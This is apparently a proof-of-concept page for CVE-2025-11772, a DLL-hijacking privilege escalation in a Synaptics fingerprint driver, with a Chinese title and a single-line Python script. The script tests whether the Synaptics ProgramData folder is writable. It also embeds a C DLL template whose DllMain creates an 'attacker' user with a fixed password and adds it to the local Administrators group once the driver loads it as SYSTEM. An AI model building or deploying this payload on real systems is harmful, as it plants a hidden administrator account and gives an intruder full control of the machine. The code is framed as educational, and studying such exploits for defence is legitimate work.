CVE-2025-11772: Synaptics指纹驱动DLL劫持特权提升漏洞

# CVE-2025-11772 PoC - Synaptics Fingerprint Driver DLL Hijacking # Author: Security Research # Note: This PoC is for educational and authorized testing purposes only import os import ctypes import shutil # Target directory for DLL placement TARGET_DIR = r'C:\ProgramData\Synaptics' MALICIOUS_DLL = 'SynapticsCredentialProviderHID.dll' def create_malicious_dll(): """ Create a malicious DLL that executes payload with elevated privileges. In a real attack, this would be a compiled native DLL with malicious code. This example shows the structure for educational purposes. """ dll_template = ''' // Malicious DLL template for CVE-2025-11772 // This DLL will be loaded by Synaptics driver installer with SYSTEM privileges #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Payload execution with elevated privileges // Example: Create administrator account or execute shell system("cmd.exe /c net user attacker P@ssw0rd123 /add"); system("cmd.exe /c net localgroup Administrators attacker /add"); // Log execution (in real attack, this would be stealthy) MessageBox(NULL, "DLL Loaded", "CVE-2025-11772", MB_OK); } return TRUE; } // Exported function that may be called by the driver extern "C" __declspec(dllexport) void SynapticsHID_Init() { // Initialization code } ''' return dll_template def check_vulnerability(): """Check if target directory exists and is writable""" if os.path.exists(TARGET_DIR): print(f'[+] Target directory exists: {TARGET_DIR}') # Check write permissions test_file = os.path.join(TARGET_DIR, 'test_write.tmp') try: with open(test_file, 'w') as f: f.write('test') os.remove(test_file) print('[+] Directory is writable - Vulnerability may be exploitable') return True except: print('[-] Directory is not writable') return False else: print(f'[-] Target directory does not exist: {TARGET_DIR}') return False def main(): print('CVE-2025-11772 Synaptics DLL Hijacking PoC') print('=' * 50) # Check if vulnerable if check_vulnerability(): print('\n[!] This system may be vulnerable to CVE-2025-11772') print('[!] Wait for driver update/installation to trigger exploit') print('[!] The malicious DLL will be loaded with SYSTEM privileges') else: print('\n[-] System does not appear to be vulnerable or Synaptics driver not installed') if __name__ == '__main__': main()